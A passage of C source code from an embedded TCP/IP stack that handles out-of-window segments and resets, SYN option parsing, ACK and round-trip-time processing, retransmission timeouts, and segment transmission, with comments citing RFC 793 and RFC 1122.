<=  tcpLastAck          )\n                {\n                    // check to see if their seq number is within my recieve window\n//                    if( (   rcvTOP(pSocket) > pSocket->rcvNXT                                   &&\n                    if( (   pIpStack->pTCPHdr->seqNbr <= pSocket->rcvNXT                        &&   // I don't allow out of order seq numbers.\n                              pSocket->rcvNXT <= (pIpStack->pTCPHdr->seqNbr + pIpStack->cbPayload) )\n                                        ||\n//                        (   rcvTOP(pSocket) == pSocket->rcvNXT                                  &&\n                        (   pIpStack->pTCPHdr->seqNbr == pSocket->rcvNXT                        &&\n                            pIpStack->cbPayload == 0                                            ))\n\n                     {\n                        // if we are asked to reset, then reset the socket\n                        if(pIpStack->pTCPHdr->fRst)\n                        {\n                            // We are being told to shut down and reset\n                            TCPResetSocket(pSocket);\n                            return(true);\n                        }\n                        else\n                        {\n                            // a good segment, process it\n                            AssignStatusSafely(pStatus, ipsSuccess);\n                            return(false);\n                        }\n                    }\n\n                    // out of range SEQ, we send an ACK with the right stuff in it.\n                    // this will send an dup ACK where seq == sndRCV and segLen == 0.\n                    // another common condition if they retransmit a packet that I already recieved, I will ACK it.\n                    else if(!pIpStack->pTCPHdr->fRst)\n                    {\n//                        IPSTACK *  pIpStack2 = IPSRefresh(NULL, pSocket->s.pLLAdp, pStatus);\n//                        TCPTransmit(pIpStack2, pSocket, 0, 0, true, tCur, pStatus);\n//                        pIpStack2 = IPSRelease(pIpStack2);\n\n//                        if(pIpStack->pTCPHdr->seqNbr > pSocket->rcvNXT)\n//                        {\n//                            pSocket->rcvSeqAhead = pIpStack->pTCPHdr->seqNbr;\n//                        }\n\n                        // <SEQ=SND.NXT><ACK=RCV.NXT><CTL=ACK>\n                        pIpStack = IPSRefresh(pIpStack, pSocket->s.pLLAdp, pStatus);\n                        TCPTransmit(pIpStack, pSocket, 0, 0, true, tCur, pStatus);\n\n                        AssignStatusSafely(pStatus, ipsSeqOutOfBoundsACKResponse);\n                        return(true);\n                    }\n                }\n\n                AssignStatusSafely(pStatus, ipsUnknowTCPState);\n                return(true);\n                break;\n        }\n    }\n\n    // if we got here, we know we are sending a RST\n    socket.s.pLLAdp = pIpStack->pLLAdp;\n\n    // do this before refreshing (swapping). That is because\n    // the order in the stack is opposite of the order in the socket\n    // this is so the LL can just do a uint32_t compare on the pair and match\n    socket.s.portPair = pIpStack->pTCPHdr->portPair;\n\n    // prepare to send the response\n    // this will always pass as we know we have an IpStack\n    IPSRefresh(pIpStack, pIpStack->pLLAdp, pStatus);\n\n    // make a dummy socket with IP and port\n    if(ILIsIPv6(pIpStack->pLLAdp))\n    {\n        memcpy(&socket.s.ipRemote.ipv6, &pIpStack->pIPv6Hdr->ipDest, sizeof(IPv6));\n    }\n    else\n    {\n        memcpy(&socket.s.ipRemote.ipv4, &pIpStack->pIPv4Hdr->ipDest, sizeof(IPv4));\n    }\n\n    // say this is a reset\n    pIpStack->pTCPHdr->fRst = true;\n\n    // send the reset with no ACK\n    TCPTransmit(pIpStack, &socket, 0, 0, fAck, tCur, pStatus);\n\n    AssignStatusSafely(pStatus, ipsConnectionOutofSyncSendRST);\n    return(true);\n}\n\n/*********************************************************************\n * Function:        void TCPProcessSYN(IPSTACK *  pIpStack, SOCKET * pSocket, uint32_t tCur, IPSTATUS * pStatus)\n *\n * Input:           pIpStack    If data came in on the adaptor, the\n *                              this contains the incoming segment.\n *\n *                  pSocket     The socket to be processessed. All active sockets are process on each loop,\n *                              so the pStack can easily be NULL if no data come in on the adaptor.\n *                              The pSocket can be NULL if data came in on the adaptor for our IP\n *                              but did not match any active or listin port.\n *\n *                  tCur        The time when we entered the TCP State machine\n *\n *\n *\n * Output:          pStatus An optional status variable to recieve the status/error of the function\n *\n * Returns:         None\n *\n * Note:            This process an incoming SYN, it should be valid as\n *                  TCPCheckForRST should have killed all invalid stuff\n  *\n ********************************************************************/\nstatic void TCPProcessSYN(IPSTACK *  pIpStack, TCPSOCKET * pSocket, uint32_t tCur, IPSTATUS * pStatus)\n{\n    UNUSED(tCur);\n    AssignStatusSafely(pStatus, ipsSuccess);\n\n    // Process a SYN\n    // Error checking for a bad SYN should have been done in TCPCheckForRST\n    if(pIpStack->pTCPHdr->fSyn)\n    {\n        // and only if the syn makes sense; get the info out of the syn packet\n        // I have to undo what I did when I normalized the number;\n        // by adding 1 to the sequence nbr, we are acking the syn without changing the indexing\n        // in our receive buffers.\n        pSocket->rcvIRS                 = pIpStack->pTCPHdr->seqNbr + 1;    // init it\n\n        // process options\n        // RFC 1122 4.2.2.6, Should have MSS option\n        pSocket->cbRemoteEffMSS = 0;               // init it so not to have bogus stuff from a prev bad SYN\n        if(pIpStack->pTCPHdr->dataOffset > sizeof(TCPHDR)/sizeof(uint32_t))\n        {\n            TCPOPTION * pOption         = (TCPOPTION *) (pIpStack->pTCPHdr+1);\n            uint32_t    cbOptionsT      = pIpStack->pTCPHdr->dataOffset * sizeof(uint32_t) - sizeof(TCPHDR);\n\n            // run the options\n            while(cbOptionsT > 0)\n            {\n                // if this is\n                switch(pOption->optionKind)\n                {\n                    case tcpOpKdEndOfList:\n                        cbOptionsT = 0;\n                        continue;\n                        break;\n\n                    case tcpOpKdNoOperation:\n\n                        cbOptionsT--;\n                        pOption = (TCPOPTION *) (((void *) pOption) + 1);\n\n                        // there is no length, so just go to the next option\n                        continue;\n                        break;\n\n                    default:\n                        break;\n                }\n\n                // check the size to see if there is an option\n                if(pOption->length > cbOptionsT)\n                {\n                    break;\n                }\n\n                switch(pOption->optionKind)\n                {\n                    case tcpOpKdMaxSegSize:\n                        pSocket->cbRemoteEffMSS    = pOption->rgu16[0];\n                        break;\n\n                    case tcpOpKdSAckMult:\n                    case tcpOpKdTimestamp:\n                    case tcpOpKdWindowScale:\n                    case tcpOpKdSAck:\n                    case tcpOpKdAltChksumReq:\n                    case tcpOpKdAltChksumData:\n                    default:\n                        break;\n                }\n\n                // go to the next option\n                cbOptionsT -= pOption->length;\n                pOption = (TCPOPTION *) (((void *) pOption) + pOption->length);\n            }\n        }\n\n        // all we want to do is check to see if we got a cbRemoteMMS or not\n        // and if not, set it to the defualt\n        // no options setting the size, so use what I am specifying.\n        if(pSocket->cbRemoteEffMSS == 0)\n        {\n            pSocket->cbRemoteEffMSS        = 536; // RFC 1122 4.2.2.6 the default value\n        }\n\n        // now following the instructions of RFC 1122 4.2.2.6\n        // we don't send options on anything but the syn, so we don't have to include that.\n        pSocket->cbRemoteEffMSS = min((uint16_t) (pSocket->cbRemoteEffMSS + 20), (uint16_t) LLGetMTUS(pSocket->s.pLLAdp)) - sizeof(TCPHDR);\n    }\n}\n\n/*********************************************************************\n * Function:        void TCPProcessACK(IPSTACK *  pIpStack, SOCKET * pSocket, uint32_t tCur, IPSTATUS * pStatus)\n *\n * Input:           pIpStack    If data came in on the adaptor, the\n *                              this contains the incoming segment.\n *\n *                  pSocket     The socket to be processessed. All active sockets are process on each loop,\n *                              so the pStack can easily be NULL if no data come in on the adaptor.\n *                              The pSocket can be NULL if data came in on the adaptor for our IP\n *                              but did not match any active or listin port.\n *\n *                  tCur        The time when we entered the TCP State machine\n *\n *\n *\n * Output:          pStatus An optional status variable to recieve the status/error of the function\n *\n * Returns:         None\n *\n * Note:            This process an incoming ACK, it should be valid as\n *                  TCPCheckForRST should have killed all invalid stuff\n  *\n ********************************************************************/\nstatic void TCPProcessACK(IPSTACK *  pIpStack, TCPSOCKET * pSocket, uint32_t tCur, IPSTATUS * pStatus)\n{\n    AssignStatusSafely(pStatus, ipsSuccess);\n\n    // check to make sure we can process and ACK\n    if(pIpStack == NULL || pSocket == NULL)\n    {\n        return;\n    }\n\n    // normalize our seq numbers\n    pIpStack->pTCPHdr->ackNbr -= pSocket->sndISS;\n    pIpStack->pTCPHdr->seqNbr -= pSocket->rcvIRS;\n\n    // process the ACK; we always process ACKs\n    // Error checking for a bad ACK should have been done in TCPCheckForRST\n    if( pIpStack->pTCPHdr->fAck)\n    {\n\n        // do some round trip calculations, RFC 793 3.7\n        // if the incoming message spans our complete time, then take the round trip time.\n        // we are in the window of what we are waiting for\n        // karns says, only update if we didn't retransmit\n        if(pSocket->cRetransmit == 0 && pSocket->sndUNA < pSocket->sndRTTComplete && pSocket->sndRTTComplete <= pIpStack->pTCPHdr->ackNbr)\n        {\n            // RFC 973 3.7 says ALPHA .8 - .9\n            // we pick .875 which is (1-1/8)\n            // the equation is SRTT = (ALPHA * SRTT) + ((1-ALPHA) *RTT)\n            // replace ALPHA with (1-1/8) we have\n            // SRTT = ((1-1/8) * SRTT) + ((1-(1-1/8)) * RTT)\n            // SRTT = ((SRTT - SRTT/8) + (RTT/8)\n            // SRTT = SRTT + RTT/8 - SRTT/8\n            // this is on a ms time base, we could go to zero, but lets set a lower bound of 2 ms\n            //pSocket->SRTT       = max(2, SRTT(pSocket->SRTT, (tCur - pSocket->tSndRTTStart)));\n\n            // All fine and dandy, but Jacobson has a different rule\n            UpdateSaSv(pSocket, (tCur - pSocket->tSndRTTStart));\n\n            // but here we do Karn's rule\n            pSocket->tRTO_SET   = RTO(pSocket);\n        }\n\n\n        // No matter what, we better understand when we need to\n        // reset our round trip timers\n        if(pIpStack->pTCPHdr->ackNbr >= pSocket->sndRTTComplete)\n        {\n            pSocket->tRTOCur        = pSocket->tRTO_SET;\n            pSocket->cRetransmit    = 0;\n            pSocket->sndRTTComplete = pIpStack->pTCPHdr->ackNbr;\n        }\n\n        // only take the ack if in range\n        // This is very critical, and very complex\n        // typically the ack needs to be between sendUNA and sndNXT, however\n        // when we retransmit we reset both sndUNA and sndNXT to lower values and the other\n        // side might start saying hey I got that already and the ack will be greater than sndNXT\n        // so we really need to check to see if the ack came in between snd UNA and sndEND\n        // and we have to adjust sendNXT to the ack if the ack is above sndNXT\n        // also, if we get an dup ack, the otherside may be giving us a new window size and we\n        // want to pick up that info, so process dup ack's that is sndUNA == ack.\n        if( pSocket->sndUNA <= pIpStack->pTCPHdr->ackNbr &&\n            (pIpStack->pTCPHdr->ackNbr <= pSocket->sndNXT || pIpStack->pTCPHdr->ackNbr <= pSocket->sndEND))\n//        if(pSocket->sndUNA <= pIpStack->pTCPHdr->ackNbr && pIpStack->pTCPHdr->ackNbr <= pSocket->sndNXT)\n        {\n\n            // if this is a fast retransmit request, which is when the other side\n            // keeps sending us an ack over and over again at the same value\n            if( pSocket->sndUNA == pIpStack->pTCPHdr->ackNbr )  // if we have seen this ack before\n            {\n                if( pSocket->sndNXT > pSocket->sndUNA   &&      // if he is not caught up to us\n                    pIpStack->cbPayload == 0            &&      // and this isn't just an ack coming in with data\n                    !pIpStack->pTCPHdr->fFin            &&      // and is not a fin as a fin is logical payload length of 1\n                    pSocket->cSameAck < 15)                     // do not want to overflow the counter and wrap\n                {\n                    pSocket->cSameAck++;\n                }\n            }\n            else\n            {\n                // update my unacked ack location\n                pSocket->cSameAck = 0;\n                pSocket->cTxUntilPause = CNTPAUSESEND;\n                pSocket->sndUNA = pIpStack->pTCPHdr->ackNbr;\n            }\n\n            // this should ONLY happen when we retransmit\n            // our sndNXT was backed off to the retransmit point, but the otherside\n            // actually acked us that he did in fact get it. So we need to restore our sndNXT\n            // or as a result of a zero probe window request\n            // which sends a byte to the otherside when he may not be able to accept it; which puts us in\n            // an automatic retransmit condtions; so in this case the sndNXT is brought back\n            if(pSocket->sndUNA > pSocket->sndNXT || pSocket->cZWndProbe > 0)\n            {\n                pSocket->sndNXT = pSocket->sndUNA;\n                pSocket->cSameAck = 0;\n                pSocket->cTxUntilPause = CNTPAUSESEND;\n            }\n\n//            if(pSocket->sndUNA >= pSocket->rcvSeqAhead)\n//            {\n//                pSocket->rcvSeqAhead = pSocket->sndUNA;\n//            }\n\n            // if we get ANY ACK, we are getting responses from the remote\n            // so we can hold off any retransmits; reset and recalculate the new retran times\n            pSocket->tLastAck   = tCur;\n\n            // see if we have moved ahead of our flush point, if so; put the flush point\n            // at the UNA location and track at the lower limit so compares are valid\n            if(pSocket->sndUNA > pSocket->sndPSH)\n            {\n                pSocket->sndPSH = pSocket->sndUNA;\n            }\n\n            // see if we have moved ahead of our flush point, if so; put the flush point\n            // at the UNA location and track at the lower limit so compares are valid\n            if(pSocket->sndUNA > pSocket->sndUP)\n            {\n                pSocket->sndUP = pSocket->sndUNA;\n            }\n\n            // update how many bytes I can send\n            // that would be realive to the ack that just came in\n            // ack + window - sndNXT\n            if((pIpStack->pTCPHdr->ackNbr + pIpStack->pTCPHdr->window) > pSocket->sndNXT)\n            {\n                pSocket->sndWND = pIpStack->pTCPHdr->ackNbr + pIpStack->pTCPHdr->window - pSocket->sndNXT;\n                pSocket->cZWndProbe = 0;\n            }\n            else\n            {\n                pSocket->sndWND = 0;\n            }\n        }\n    }\n}\n\n/*********************************************************************\n * Function:        bool TCPCheckForReTransmit(IPSTACK *  pIpStack, SOCKET * pSocket, uint32_t tCur, IPSTATUS * pStatus)\n *\n * Input:           pIpStack    If data came in on the adaptor, the\n *                              this contains the incoming segment.\n *\n *                  pSocket     The socket to be processessed. All active sockets are process on each loop,\n *                              so the pStack can easily be NULL if no data come in on the adaptor.\n *                              The pSocket can be NULL if data came in on the adaptor for our IP\n *                              but did not match any active or listin port.\n *\n *                  tCur        The time when we entered the TCP State machine\n *\n *\n *\n * Output:          pStatus An optional status variable to recieve the status/error of the function\n *\n * Returns:         true if we want to exit the TCP state machine, false if we want to stay in the state machine.\n *\n * Note:            If too much time has gone by, we may need to retransmit data that did not get acked.\n *                  SYN and FIN are ugly to retransmit; particularly SYNs\n *\n ********************************************************************/\nstatic bool TCPCheckForReTransmit(IPSTACK *  pIpStack, TCPSOCKET * pSocket, uint32_t tCur, IPSTATUS * pStatus)\n{\n    AssignStatusSafely(pStatus, ipsSuccess);\n\n    // only worry if the remote is not up to date.\n    if(pSocket->sndUNA < pSocket->sndNXT)\n    {\n        // if it has been so long as we exceed the MSL\n        // we need to send a reset and kill the connection\n        \n        // 2 way to interpret the RFC, 2 Min total, or\n        // 2 min from last attempt. 2 min from last attempt will \n        // give a total time of over 6 min before giving up\n        // that is too long. So lets say 2 min total\n\n//        if(tCur - pSocket->tLastAck >= TCPMSL)\n        if(tCur - pSocket->tSndRTTStart >= TCPMSL)\n        {\n            if((pIpStack = IPSRefresh(pIpStack, pSocket->s.pLLAdp, pStatus)) != NULL)\n            {\n                pIpStack->pTCPHdr->fRst = true;\n\n                // we want the otherside to accept our reset if they get it, it must\n                // be in a range of their recieve window. We really don't know how many\n                // packets they have sent me and I missed; or how many they have missed.\n                // However, the best guess is what he last ACKed to me. After all, I am\n                // waiting for an ACK that I never got, so I can assume his last ACK is where\n                // his rcvNXT is, so I will set my sndNXT to the last thing he ACKed\n                pSocket->sndNXT = pSocket->sndUNA;\n\n                // don't call TCPTransmitRST, that assumes we have a valid IpStack and no socket\n                // here we have the a valid socket, but may not have a valid IpStack.\n                TCPTransmit(pIpStack, pSocket, 0, 0, true, tCur, pStatus);\n\n                // clean up the socket and release it.\n                TCPResetSocket(pSocket);\n                AssignStatusSafely(pStatus, ipsNoACKinMSLTime);\n                return(true);\n            }\n        }\n\n        // Now just set our sndNext back and send those packets again.\n        else if(tCur - pSocket->tLastAck >= pSocket->tRTOCur || pSocket->cSameAck >= cDupAckFastRetransmit)\n        {\n            IPSTATUS status;\n\n            // we are clearly retransmitting.\n            AssignStatusSafely(pStatus, ipsRetransmit);\n            pSocket->cSameAck = 0;\n            \n            // Only pretend to retransmit if we are not connected\n            // but don't actually retransmit, and don't timeout either\n            if(!TCPIsConnected(pSocket, &status))\n            {\n\n                // by making sure cRetranmit is > 0, then\n                // because of the Karn algorithm, round trip time will ignored\n                // if we are already retransmitting, just keep our count where it is\n                if(pSocket->cRetransmit == 0) pSocket->cRetransmit++;\n\n                // Last Ack is used for connection timeout\n                // if we reset it, the connection will not timeout\n                // but we only want to do this if the connection loss\n                // is not permanent.\n                pSocket->tLastAck = tCur;\n\n                // if we permanently lost the connection\n                // we have to close the socket and clean up\n                if(IsIPStatusAnError(status))\n                {\n                    pSocket->tcpState = tcpWaitUserClose;\n                    AssignStatusSafely(pStatus, status);\n\n                    pSocket->sndWND +=  pSocket->sndNXT - pSocket->sndUNA;\n                    pSocket->sndUNA = pSocket->sndNXT;\n\n                    // go ahead and process this.\n                    return(false);\n                }\n\n                // just pretend we retransmitted.\n                return(true);\n            }\n\n            // set up for our next timeout time\n            // We are required to exponetially grow\n            // but eventually we will max out\n            if(pSocket->tRTO_SET < 0x80000000)\n            {\n                pSocket->tRTO_SET   =   (pSocket->tRTO_SET << 1);\n\n                // now add this on to the current time as tLastAck has not moved\n                // and is == to tRTOCur\n                // and we need to wait the new amount above what time has already past\n                pSocket->cRetransmit++;\n            }\n\n            // set up for our next delay\n            pSocket->tLastAck   = tCur;\n            pSocket->tRTOCur    = pSocket->tRTO_SET;\n\n            // resend data because we did not see the ack\n            pSocket->sndNXT = pSocket->sndUNA;\n            \n            // Don't send any more data until we see an ACK\n            // this is because the retransmit could be for one out of seq packet\n            // and we don't want to redump everything, we may wish to move forward to his ACK\n            // if he can handle out of sequence packets and will jump forward beyond\n            // just this one missing packet. This will prevent retransmitting unneeded data on the wire\n            pSocket->cTxUntilPause = 1;\n\n            // if we need to resent the SYN, then do that.\n            // this is very difficult as CreateSyn resets a bunch of stuff and requires ARP to succeed. Typically ARP will succeed because the\n            // syn just came in and set up our ARP table an we will find the IP quickly. However, times out are bad as the ARP table can expire\n            if(pSocket->tcpState == tcpSynSent  ||  pSocket->tcpState == tcpSynReceivedWhileListening || pSocket->tcpState == tcpSynReceived)\n            {\n                uint32_t cbOptions  = 0;\n\n                // resend the syn\n                IPSRelease(pIpStack);        // get rid of the old IpStack; if any\n\n                // It would be really nice if we could bet that the sender sent me an IpStack big enough to put my 4 bytes of options in\n                // but we can't depend on that, so we must get a new IpStack where we know we have the space, but that means we will\n                // be doing an ARP lookup on the IP AND all of our timers will be reinit. We must deal with all of this. But the SYN\n                // is our only IpStack that REQUIRES the options. Also, this will be sent until I get my ACK!\n                TCPTransmit(TCPCreateSyn(pSocket, &cbOptions, pStatus), pSocket, 1, cbOptions, (pSocket->tcpState == tcpSynReceivedWhileListening || pSocket->tcpState == tcpSynReceived), tCur, pStatus);\n\n                // very obscure thing going on here. Typically the TCPTrasmit would set this value; however, if we \"failed\" to transmit then this does not get set\n                // and then sendNext == sndUNA and we will go into the established state; which is wrong. Send may fail specifically if ARP fails; as in the remote goes away.\n                // what happens is that TCPCreateSyn creates a new IpStack and is NOT based on the incoming IpStack, so our MAC set and must be looked up through the IP address\n                // after 1 min, the ARP table expires and an ARP is done, if there is no response, then I fail the ARP which will fail the transmit which will not advance the sndNXT.\n                // So even in the face of an APR failure / transmit failure; just set the sndNXT to 1, we will loop until the MSL timeout and then attempt to send a RST\n                // IF I can do an ARP. But at least we will recover the socket on timeout and no enter the established state.\n                pSocket->sndNXT         = 1;\n                AssignStatusSafely(pStatus, ipsRetransmit);\n                return(true);\n            }\n\n            // resend a FIN from them closing\n            else if(pSocket->tcpState == tcpCloseWait  ||  pSocket->tcpState == tcpLastAck)\n            {\n                pSocket->tcpState = tcpCloseWait;   // retransmit unacked data too\n            }\n\n            // resend a FIN from us closing\n            else if (pSocket->tcpState == tcpFinWait1 || pSocket->tcpState == tcpFinWait2)\n            {\n                pSocket->tcpState = tcpFinWait1;    // retransmit unacked data too\n            }\n        }\n    }\n    \n    // else we are caught up and we are in a stable state\n    // see if we need to ping the other side\n    else if(pSocket->cRetransmit == 0)\n    {\n        bool fSendAck = false;\n        bool fSendRst = false;\n\n        // these are stable states that the connection can be open forever\n        // as we are current on their ACK. However, this can also keep the\n        // socket open forever even if they drop off the earth, so do\n        // something for socket garbage collection.\n        switch(pSocket->tcpState)\n        {\n\n            // not sure what to do here, maybe they want the socket to\n            // stay open forever, we need to have somekind of parameter to set here\n            case tcpEstablished:\n\n//                if(pSocket->rcvSeqAhead >= pSocket->rcvNXT && (tCur - pSocket->tLastAck) >= 10)\n//                {\n//                    fSendAck = true;\n//                }\n                break;\n\n            // if we send a FIN, and they ACKed our FIN\n            // we expect them to send a FIN eventually.\n            case tcpClosing:\n\n                // abort the socket if I don't get data or a FIN in a reasonable time\n                if(tCur - pSocket->tLastAck >= max(TCPMAXHALFCLOSE, (pSocket->tRTOCur << 1)))\n                {\n                    fSendRst = true;\n                    fSendAck = true;\n                }\n                break;\n\n            default:\n                break;\n        }\n\n        // Send and ACK to wake up the otherside and get with the program!\n        if(fSendAck && (pIpStack = IPSRefresh(pIpStack, pSocket->s.pLLAdp, pStatus)) != NULL)\n        {\n            // reset if asked to reset\n            pIpStack->pTCPHdr->fRst = fSendRst;\n\n            // Send an ACK\n            // here we have the a valid socket, but may not have a valid IpStack.\n            TCPTransmit(pIpStack, pSocket, 0, 0, true, tCur, pStatus);\n\n            // garbage collect the socket\n            if(fSendRst)\n            {\n                // clean up the socket and release it.\n                TCPResetSocket(pSocket);\n                AssignStatusSafely(pStatus, ipsNoACKinMSLTime);\n            }\n\n            return(true);\n        }\n    }\n\n    // we want to go into the TCP state machine\n    return(false);\n}\n\n/*********************************************************************\n * Function:        bool TCPTransmit(IPSTACK *  pIpStack, SOCKET * pSocket, int32_t cbSend, int32_t cbOptions, bool fAck, uint32_t tCur, IPSTATUS * pStatus)\n *\n * Input:           pIpStack    The IpStack populated with what needs to be sent\n *\n *                  pSocket     The socket that the data is going out on.\n *\n *                  cbSend      The number of bytes we are sending\n *                              This is usually cbPayload, however SYNs and FINs are a count of 1 even if the payload is zero\n *\n *                  cbOptions   How many bytes are in the options field in the TCPHDR. Usually this is 4 for a SYN\n *\n *                  fAck        Almost always true except for initial SYNs and some RSTs\n *\n *                  tCur        Current time in ms of when the state machine was called. Used as current time.\n *\n * Output:          pStatus An optional status variable to recieve the status/error of the function\n *\n * Returns:         true is the send succeeded, false otherwise\n *\n * Note:            This is the generic TCP Send routine that tracks our SEQNbr and\n *                  makes sure the data is sent on the sockets port\n *                  and will create proper ACKs if requested.\n *                  It also updates the counts in the TCPHDR to what is being sent.\n *\n ********************************************************************/\nbool TCPTransmit(IPSTACK *  pIpStack, TCPSOCKET * pSocket, int32_t cbSend, int32_t cbOptions, bool fAck, uint32_t tCur, IPSTATUS * pStatus)\n{\n    IPSTATUS        status = ipsSuccess;\n\n    if(pIpStack == NULL)\n    {\n        status = ipsIpStackNULL;\n    }\n    else if(pSocket == NULL)\n    {\n        status =  ipsSocketNULL;\n    }\n\n    if(status != ipsSuccess)\n    {\n        AssignStatusSafely(pStatus, status);\n        return(false);\n    }\n\n    pIpStack->pTCPHdr->portSrc      = pSocket->s.portLocal;\n    pIpStack->pTCPHdr->portDest     = pSocket->s.portRemote;\n\n    pIpStack->pTCPHdr->seqNbr       = pSocket->sndISS + pSocket->sndNXT;\n\n    // this is a keep alive, trying to wake up the other side.\n    if(cbSend == -1)\n    {\n        pIpStack->pTCPHdr->seqNbr--;\n        cbSend = 0;\n        fAck = true;\n    }\n\n    pIpStack->pTCPHdr->fAck         = fAck;\n    pIpStack->pTCPHdr->ackNbr       = pSocket->rcvIRS + pSocket->rcvNXT;\n\n    // as per RFC 1122 4.2.3.3\n\n    if(pSocket->hPMGR != NULL)\n    {\n        pIpStack->pTCPHdr->window       = min((PMGRMaxFree(pSocket->hPMGR) >> 2), pSocket->cbLocalMSS);\n    }\n    else\n    {\n        pIpStack->pTCPHdr->window       = pSocket->cbLocalMSS;\n    }\n\n    pIpStack->cbTranportHeader          = sizeof(TCPHDR) + cbOptions;\n    pIpStack->pTCPHdr->dataOffset       = pIpStack->cbTranportHeader / sizeof(uint32_t);\n\n    if(ILIsIPv6(pSocket->s.pLLAdp))\n    {\n        pIpStack->pIPv6Hdr->cbPayload   = pIpStack->cbPayload;\n        memcpy(&pIpStack->pIPv6Hdr->ipDest, &pSocket->s.ipRemote.ipv6, sizeof(IPv6));\n    }\n    else\n    {\n        pIpStack->pIPv4Hdr->cbTotal     = sizeof(IPv4HDR) + pIpStack->cbTranportHeader + pIpStack->cbPayload;\n        memcpy(&pIpStack->pIPv4Hdr->ipDest, &pSocket->s.ipRemote.ipv4, sizeof(IPv4));\n    }\n\n    ILSend(pIpStack, &status);\n    if(!IsIPStatusAnError(status))\n    {\n        pSocket->tLastSnd = tCur;\n        if(fAck)\n        {\n            pSocket->cNeedAck = 0;\n        }\n\n        // count how many sends left we have from the last ACK\n        if(cbSend > 0 && pSocket->cTxUntilPause > 0)\n        {\n            pSocket->cTxUntilPause--;\n        }\n\n        // start of a new calculation for RTT; RFC 793 3.7\n        // we redo this with RFC 1122 4.2.2.15\n        // and looking at Karn's / Jacobson's Algorithm\n        // we have completed this round trip, so lets start another one\n        if(pSocket->sndRTTComplete == pSocket->sndUNA)\n        {\n            pSocket->tSndRTTStart   = tCur;        // start round trip time\n            pSocket->sndRTTComplete = pSocket->sndNXT + cbSend;\n        }\n\n        // when the remote was caught up, than last ack could\n        // be a really old time, so lets update for something\n        // reasonable. But make sure we are not in a retransmit condition.\n        if(pSocket->sndUNA == pSocket->sndNXT  &&  pSocket->cRetransmit == 0)\n        {\n            pSocket->tLastAck   = tCur;\n        }\n\n        // update the next snd pointer\n        pSocket->sndNXT += cbSend;\n\n        // we have used some of their send window\n        // so lets update the send window amount\n        // so we don't overrun them\n        if((int32_t) pSocket->sndWND >= cbSend)\n        {\n            pSocket->sndWND -= cbSend;\n        }\n        else\n        {\n            pSocket->sndWND = 0; \n        }\n    }\n\n    AssignStatusSafely(pStatus, status);\n    return(status == ipsSuccess);\n}\n\n/*********************************************************************\n * Function:        bool TCPProcessTxSocketBuffers(IPSTACK * pIpStack, SOCKET * pSocket, bool fForceAck, uint32_t tCur, int32_t * pcbSend)\n *\n * Input:           pIpStack    If data came in on the adaptor, the\n *                              this contains the incoming segment.\n *\n *                  pSocket     The socket to be processessed. All active sockets are process on each loop,\n *                              so the pStack can easily be NULL if no data come in on the adaptor.\n *                              The pSocket can be NULL if data came in on the adaptor for our IP\n *                              but did not match any active or listin port.\n *\n *                  fForceAck   This forces us to send at least an ACK, and data to if we have it.\n *\n *                  tCur        The time when we entered the TCP State machine\n *\n *\n *\n * Output:          pcbSend The number of bytes we are sending\n *\n * Returns:         true if we need to send some data even if that is only an ACK, false is not data needs sent\n *\n * Note:\n *      IMPORTANT, this call can NOT be made after a FIN is sent as sndNXT will be sndEND+1, above the range of anything valid\n *      HOWEVER, this call is only made during the tcpEstablished,tcpFinWait1 and tcpCloseWait states; which is before the FIN.\n *      IF a retransmit occurs, the sndNXT is backed off by at least 1 (otherwise there would be no need for the retransmit) and\n *      sndNXT will be below sndEND and all is okay.\n *\n ********************************************************************/\nstatic bool TCPProcessTxSocketBuffers(IPSTACK * pIpStack, TCPSOCKET * pSocket, uint32_t tCur, int32_t * pcbSend)\n{\n    bool fForceAck = false;\n\n    // we must have our pointers\n    if(pIpStack == NULL || pSocket == NULL || pcbSend == NULL)\n    {\n        return(false);\n    }\n\n    // now calculate how much data we can send\n    // the min of what we want to send, or to the end of the buffer\n    // this could come up zero\n    *pcbSend = pSocket->sndEND - pSocket->sndNXT;\n    // and than and what we were told is the max we can put over the network (from options).\n    *pcbSend = min(*pcbSend, pSocket->cbRemoteEffMSS);\n\n    // if enough time has elapsed and they have a zero window\n    // we need to probe them for a new window size; send a zero window probe\n    // we do not want to do this very often, so the MAX against our MAXFLUSH\n    // we want to be reduce this as much as possible but not skip it completely\n    // we do this against the lastAck and not lastSend because the last ack is the\n    // the last time he told us a window size\n    if( pSocket->sndWND == 0                                                &&  // zero window\n        (tCur - pSocket->tLastAck) >= (MAXFLUSH << pSocket->cZWndProbe)     &&  // time has elapsed\n        *pcbSend > 0 )                                                          // we have something to send\n    {\n        if(pSocket->cZWndProbe < 15)\n        {\n            pSocket->cZWndProbe++; // just want to back off on asking\n        }\n        *pcbSend = 1;               // only send 1 byte\n        fForceAck = true;\n    }\n\n    // don't send any data if we are to pause\n    else if(pSocket->cTxUntilPause == 0)\n    {\n        *pcbSend = 0;\n    }\n    \n    // send as much as we can\n    else\n    {\n        *pcbSend = min(*pcbSend, (int32_t) pSocket->sndWND);\n    }\n\n    // check to see if we need to force an ack\n    fForceAck = fForceAck \n            \n        // if we have data to send and we are attempting to close, send data each time.\n        || ((pSocket->tcpState > tcpEstablished) && (*pcbSend > 0))\n\n        // we are only allowed to delay skipping ACKs once\n        // if we need 2 ACKs, we must ack now\n        || (pSocket->cNeedAck > 1)\n\n        // Unfortunately, even if we only have 1 ACK to respond to\n        // if we wait too long the other side will retransmit, and we don't want that to happen\n        // Retransmit time is a calculated and conservative time, so this is probably too long to wait for the ACK\n        // let's back off on retransmit time and make sure we ACK before they retransmit.\n        // On init, retransmit times are long, so lets make sure we are quick enough to retransmit even with init RTO.\n        // so put the ACK out at least as fast as MAXFLUSH\n        // Also, before we have establish an RTT time, immdiately ACK if we go any ack request.\n        || ((pSocket->cNeedAck > 0) && ((pSocket->cRTT < cRTTINVALID) || ((tCur - pSocket->tLastSnd) >= min(MAXFLUSH, (pSocket->tRTOCur/2)))));\n\n    // if we have data to send, lets think about sending it.\n    if(*pcbSend > 0)\n    {\n        // see if we have a push, we must send now\n        pIpStack->pTCPHdr->fPsh = (pSocket->sndPSH > pSocket->sndNXT);\n\n        // give that we have data to send, do we send it now or wait\n        // check to see if we are to push right now\n        fForceAck = fForceAck || pIpStack->pTCPHdr->fPsh\n\n            // if there is a big enough data in the socket, send it now\n            || (*pcbSend >= (pSocket->cbRemoteEffMSS / 4))\n\n            // We want to throttle small packet transmits, like a bunch of 1 byte packets\n            // so if someone is writing a bunch of little bytes to the socket we want to\n            // let some accumulate before transmitting, however, we don't want to wait\n            // forever before pushing this out. This is independent of our round trip time.\n            || ((tCur - pSocket->tLastSnd) 